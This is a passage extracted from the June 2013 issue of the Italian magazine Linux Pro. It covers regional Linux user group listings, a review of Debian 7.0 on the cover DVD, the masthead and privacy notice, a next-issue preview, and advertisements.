LaTLUG - Latiano Linux User Groupwww.latlug.orgLUGarganowww.lugargano.itLUGBari - Bari e provinciawww.lugbari.orgMurgiaLug - Santeramo in Colle www.open-pc.eu/index.php/murgialug/SaLUG! - Salentohttp://salug.itTalug - Tarantowww.talug.it

SarDeGnaCeSar LUG non disponibileGnUraghewww.gnuraghe.orgGULCh - Cagliariwww.gulch.crs4.itisolalugnon disponibile PLUGS - Sassariwww.plugs.it

SiCiLiaCefaLug - Cefalùhttp://cefalug.linux.itcLUG - Caltanissettawww.clug.itennaLUGwww.ennalug.orgFreaknet MediaLab - Cataniawww.freaknet.orgLeonforte LUGhttp://leonforte.linux.itLUG Cataniawww.catania.linux.itLUGSr - Siracusawww.siracusa.linux.itMeLUG - Messinanon disponibilenorp LUG - noto, Pachino, rosolininon disponibilePaLUG - Palermohttp://palermo.linux.itrgLUG - ragusa e provinciahttp://ragusa.linux.itVPLUG Linux Planet - Provincia Caltanisetta www.vplug.itSputniX - Palermowww.sputnix.it

TOSCanaaCrOS - Versilia, Lucca, Massa Carrarawww.lug-acros.orgCancelliapertinon disponibileelbalinuxnon disponibileelsaGLUG - Val d’elsawww.elsaglug.orgFLUG - Firenzewww.firenze.linux.itGOLeM - empoli, Valdelsahttp://golem.linux.itGroLUG - Grossetowww.grolug.orgG.U.L.Li - Livornowww.livorno.linux.itGulP! Piombinohttp://gulp.perlmonk.orgGULP Pisa

www.gulp.linux.itGuruatWork - Grosseto e provinciawww.guruatwork.comLucca LUGhttp://luccalug.itL.U.G.a.r - arezzonon disponibilePLUG - Prato e provinciawww.prato.linux.itPtLug - Pistoia e provinciawww.ptlug.orgSLUG - Siena e provinciawww.siena.linux.it

TrenTinO aLTO aDiGealtinumLUG - roveretonondisponibile LinuxTrent - Trentohttp://linuxtrent.it LugBz - Bolzanowww.lugbz.org

UMBriaOrvietoLUGwww.orvietolug.itLUG Perugiawww.perugiagnulug.orgTerniLUG www.ternignulug.org

VaLLe D’aOSTaSLaG - aostawww.slag.it

VeneTO0421ug - Provincia di Venezia www.0421ug.orgBLUG - Bellunohttp://belluno.linux.itFaber Libertatis - Padovahttp://faberlibertatis.orgGrappaLUG - Bassano del Grappahttp://grappalug.homelinux.net/iLC - informatica Libera Cittadellese - FSUGhttp://ilc.pd.itLegnagoLUGnon disponibileLinux Ludus - Villafranca (Vr)www.linuxludus.itLuganegawww.luganega.orgLUGSF - San FidenzionondisponibileLUG Vicenzawww.vicenza.linux.itLugVr - Veronawww.verona.linux.itMontelLUG - Montebellunawww.montellug.itFSUG Padovawww.fsugpadova.orgroLUG - rovigohttp://rovigo.linux.itTVLUG - Trevisowww.tvlug.itVeLug - Veneziawww.velug.it

naZiOnaLiFSUGitaliawww.fsugitalia.orgGentoo Channel italiawww.gechi.itMajaGLUGwww.majaglug.netSkyLUGhttp://tech.groups.yahoo.com/group/skylug/

L’eco dei LUG

LXP130_92-93_lug 93 06/06/13 01:52

Page 96: Linuxpro 130 Giugno 2013

94 LINUX PRO 130

SoftwareOgni mese Linux Pro vi offre i programmi e le distribuzioni più recenti su DVD

PROdentro il Debian 7.0

Distribuzione desktop/server

Dopo una lunga attesa possiamo fi nalmente proporvi la nuova versione stabile di una delle distribuzioni GNU/Linux più rispettate del pianeta: Debian. Questa distro è quanto di più vicino ci sia a una

distribuzione Linux standard. È la base di molte altre distro (comprese Ubuntu e Mint, tra le più diffuse) ed è usata in diversi ambiti, dal desktop ai server di livello enterprise.

Piano pianoDalla sua nascita, nel 1996, Debian ha ottenuto i favori della comunità del Free Software non solo perché è una distro ben pensata e ingegnerizzata, ma anche perché è sempre rimasta fedele ai principi del Software Libero, evitando il software non-free il più possibile. Oltre a questo, Debian si è guadagnata la reputazione di “gigante indolente”: un numero incredibile di pacchetti, circa 37.500 tra le varie versioni; lunghe attese tra un rilascio e l’altro, con molto software che, se confrontato con quanto appare nelle altre distro più diffuse, appare datato. Questo secondo aspetto non è un problema in ambiente server, dove gli amministratori cercando di essere il più conservativi possibile, ma non manda certo in brodo di giuggiole gli utenti desktop, abituati a novità che si susseguono con grande frequenza. Sul sito della distro, www.debian.org, forse in modo un po’ nascosto, trovate i link per scaricare varie versioni dell’ISO per l’installazione, da quella per il setup via rete all’ISO del DVD (nel nostro DVD trovate la versione a 32 bit, online c’è anche quella a 64 bit). L’installer non è cambiato in modo drastico

Il programma di installazione di Debian presume che l’utente abbia una conoscenza media di Linux, ma il pulsante di aiuto è sempre a disposizione per chi si trova in diffi coltà

dalla versione 6 alla 7, anche se il tema un po’ fumettoso è stato migliorato. È stato aggiunto il supporto a UEFI (ma non al Secure Boot) ed è possibile, per chi ha problemi alla vista, installare la distro tramite comandi vocali. Se dovete installare Debian su un PC con poche risorse, potete utilizzare l’installer testuale – il setup grafi co si avvia con 128 MB di RAM o più.

Grafi ca a go goA un certo punto l’installer vi chiede che tipo di installazione volete: desktop, server Web, mail server e così via. Scegliendo il desktop vi ritroverete con un ambiente GNOME 3.4 e, tra gli altri, con LibreOffi ce 3.5 e Iceweasel 10 (Firefox rimarchiato, primo degli elementi grafi ci con copyright di Mozilla) potenziato da Ad-Block Plus. Nei nostri test il processo di boot ha impiegato 43 secondi da GRUB al desktop, con l’installazione che occupava 157 MB di RAM. Per fare un confronto, Fedora 18 con GNOME 3.6 (sulla stessa macchina di prova) si avvia in 53 secondi e usa 283 MB di memoria. Ubuntu 13.04 (anch’essa presente nel nostro DVD, lato A) con Unity si avvia in 36 secondi e occupa 348 MB. Una delle novità maggiori in ambito desktop di Debian 7.0, però, è l’inclusione di default dei codec multimediali, grazie a Libav e FFmpeg che supportano un ampio spettro di formati audio e video. Con le vecchie versioni recuperare questi codec era, almeno per i principianti, un po’ problematico. Un lato negativo, sempre parlando di desktop, è invece il numero di versione di alcuni programmi. Considerando che lo sviluppo di Debian 7.0 è stato congelato il 30 giugno 2012, tutti i pacchetti – a parte i fi x di sicurezza – sono rimasti alla major version di quel momento. Per cui, ad esempio, Xfce è fermo alla release 4.8 anche se la successiva 4.10 porterebbe diversi vantaggi. Ma, come dovreste sapere, la stabilità è un fattore importante per Debian: il lato server ne trae benefi cio, quello desktop un po’ meno. Guardando il quadro generale, comunque, Debian rimane una distro di primissima classe, dovete provarla assolutamente. LXP

Software chiave∆ Linux kernel 3.2 ∆ X.org 7.7 ∆ GCC 4.7 ∆ KDE 4.8.4 ∆ GNOME 3.4 ∆ Xfce 4.8

∆ LibreOffi ce 3.5.4 ∆ GIMP 2.8.2 ∆ Iceweasel 10 ∆ Apache 2.2.22 ∆ Samba 3.6.6 ∆ MySQL 5.5.30

Gui

da

Ogni volta che troverete

questo simbolo in un articolo,

vorrà dire che i file citati

si trovano nel DVD allegato

alla rivista.

LXP130_94_guidadvd 94 10/06/13 18:17

Page 97: Linuxpro 130 Giugno 2013

CORRI SUBITO IN EDICOLA!

La prima rivista per il mondo Linux davvero faciLe

min_Ubuntu_207x285.indd 1 05/06/13 16:52

Page 98: Linuxpro 130 Giugno 2013

NEL PROSSIMO NUMEROIn edicola il 19 luglio

Mensile - 5,90 euro - 13,60 CHF

Direttore Responsabile: Luca Sprea - [email protected] Editoriale: Stefano Spagnolo

Publisher: Mario Bosisio

Redazione: [email protected] Zagaglia (responsabile di redazione, realizzazione DVD) Brunetta Pieraccini (segreteria)

Digital media coordinator: Massimo Allievi

Realizzazione editoriale: Oku Studio

Impaginazione: Sara Benecino

Iconografia e fotografie: Marco Coppola

Contenuti su licenza: Linux Format - Future P.ce - London (UK)

Pubblicità: Luigi De Re - [email protected] Tel. 339 4546500

Abbonamenti (disponibili solo in versione con DVD)Si sottoscrivono in 2 minuti con 2 click via Web. Trovi l’offerta speciale di questo mese all’indirizzowww.myabb.it/linuxpro oppure [email protected]; puoi anche abbonarti via fax 030 3198412,per telefono 199 111 999 dal lunedì al venerdì dalle ore 9 alle ore 19. Costo massimo della chiamata da tutta Italia per telefoni fissi € 0,12 + iva al minuto senza scatto alla risposta. Per cellulari costo in funzione dell’operatore. Per chi volesse abbonarsi dall’estero +39 041.50.99.049.

ArretratiSi sottoscrivono online all’indirizzo: www.spreastore.itPer informazioni: [email protected] fax al numero 02.70.05.37.67.2

Stampa: Arti Grafiche Boccia S.p.A. - Salerno

Sprea Editori S.p.A. Socio unico Sprea Holding S.p.A.Via Torino, 51 20063 Cernusco Sul Naviglio (MI)

Tel (+39) 02.92432.1 Fax (+39) 02.92.43.22.36www.sprea.it - [email protected]

Consiglio di amministrazione:Luca Sprea (Presidente),Stefano Spagnolo (Vice Presidente - Amministratore Delegato), Mario Sprea (Consigliere)

Collegio sindacale: Roberto Bosa (Presidente), Maria Luisa Capuzzoni, Ugo Besso

Amministrazione: Anna Nese - [email protected]

Foreign rights: Gabriella Re - [email protected]

Marketing: Walter Longo [email protected]

Distributore per l’Italia e per l’Estero: Press-Di Distribuzione Stampa e Multimedia S.r.L. 20134 Milano

LINUX PROPubblicazione mensile registrata al Tribunale di Milano il 08.02.2003 con il n. 74 - Tariffa R.O.C. - Poste Italiane Spa - Sped. In Abb. Post. - D.L. 353/2003 (conv. In L. 27/02/2004 n. 46) art. 1, comma 1, DCB Milano

Copyright Sprea Editori S.p.A.La Sprea Editori è titolare esclusiva della testata Linux Pro e di tutti i diritti di pubblicazione e diffusione in Italia. I contenuti sono adattati e tradotti su licenza della pubblicazione: Linux Format – Future P.ce – London (UK). L’utilizzo da parte di terzi di testi, fotografie e disegni, anche parziale, è vietato. L’Editore si dichiara pienamente disponibile a valutare - e se

del caso regolare - le eventuali spettanze di terzi per la pubblicazione di immagini di cui non sia stato eventualmente possibile reperire la fonte. Informativa e Consenso in materia di trattamento dei dati personali (Codice Privacy d.lgs. 196/03). Nel vigore del D.Lgs 196/03 il Titolare del trattamento dei dati personali, ex art. 28 D.Lgs. 196/03, è Sprea Editori S.p.A. (di seguito anche “Sprea”), con sede legale in via Beltrami 21, 26100 Cremona. La stessa La informa che i Suoi dati, eventualmente da Lei trasmessi alla Sprea, verranno raccolti, trattati e conservati nel rispetto del decreto legislativo ora enunciato anche per attività connesse all’azienda. La avvisiamo, inoltre, che i Suoi dati potranno essere comunicati e/o trattati (sempre nel rispetto della legge), anche all’estero, da società e/o persone che prestano servizi in favore della Sprea. In ogni momento Lei potrà chiedere la modifica, la correzione e/o la cancellazione dei Suoi dati ovvero esercitare tutti i diritti previsti dagli artt. 7 e ss. del D.Lgs. 196/03 mediante comunicazione scritta alla Sprea e/o direttamente al personale Incaricato preposto al trattamento dei dati. La lettura della presente informativa deve intendersi quale presa visione dell’Informativa ex art. 13 D.Lgs. 196/03 e l’invio dei Suoi dati personali alla Sprea varrà quale consenso espresso al trattamento dei dati personali secondo quanto sopra specificato. L’invio di materiale (testi, fotografie, disegni, etc.) alla Sprea Editori S.p.A. deve intendersi quale espressa autorizzazione alla loro libera utilizzazione da parte di Sprea Editori S.p.A. per qualsiasi fine e a titolo gratuito, e comunque, a titolo di esempio, alla pubblicazione gratuita su qualsiasi supporto cartaceo e non, su qualsiasi pubblicazione (anche non della Sprea Editori S.p.A.), in qualsiasi canale di vendita e Paese del mondo. Il materiale inviato alla redazione non potrà essere restituito.

Secure BootAlla scoperta dell’estensione di Microsoft a UEFI per capire come fare in modo che non crei problemi a noi utenti di Linux: come disabilitarlo e come configurarlo

Ardour 3Il miglior programma professionale per la registrazione e gestione di file audio multitraccia si aggiorna: creare uno studio di registrazione in casa è sempre più facile con GNU/Linux!

App perfetteIl testing delle applicazioni che sviluppiamo è cruciale per creare programmi affidabili: ecco come automatizzare le operazioni più noiose per avere app perfettamente funzionanti

E inoltre:

LINUXPRO

DISTRO PER TUTTIAbbiamo messo alla prova le 50 distribuzioni di Linux più interessanti e utili

per dirvi quale fa per voi!

LXP130_96_prossimamente 1 06/06/13 14:12

Page 99: Linuxpro 130 Giugno 2013

Un’emozione che non finisce mAi!

TUTTI I MESI IN EDICOLAANCHE SU iPAd

ADV_singola_ClassicRock_207x285.indd 3 05/06/13 16:48

Page 100: Linuxpro 130 Giugno 2013

Lasciali vivere.

Acquistalo online www.aethic.com/it

Uccidi coralli e vongole

- Senza ossido di zinco- Senza parabeni- Senza biossido di titanio- Senza prodotti petroliferi- Senza nano-particelle Scegli

ADV_Aethic_207X285.indd 2 27/05/13 12:27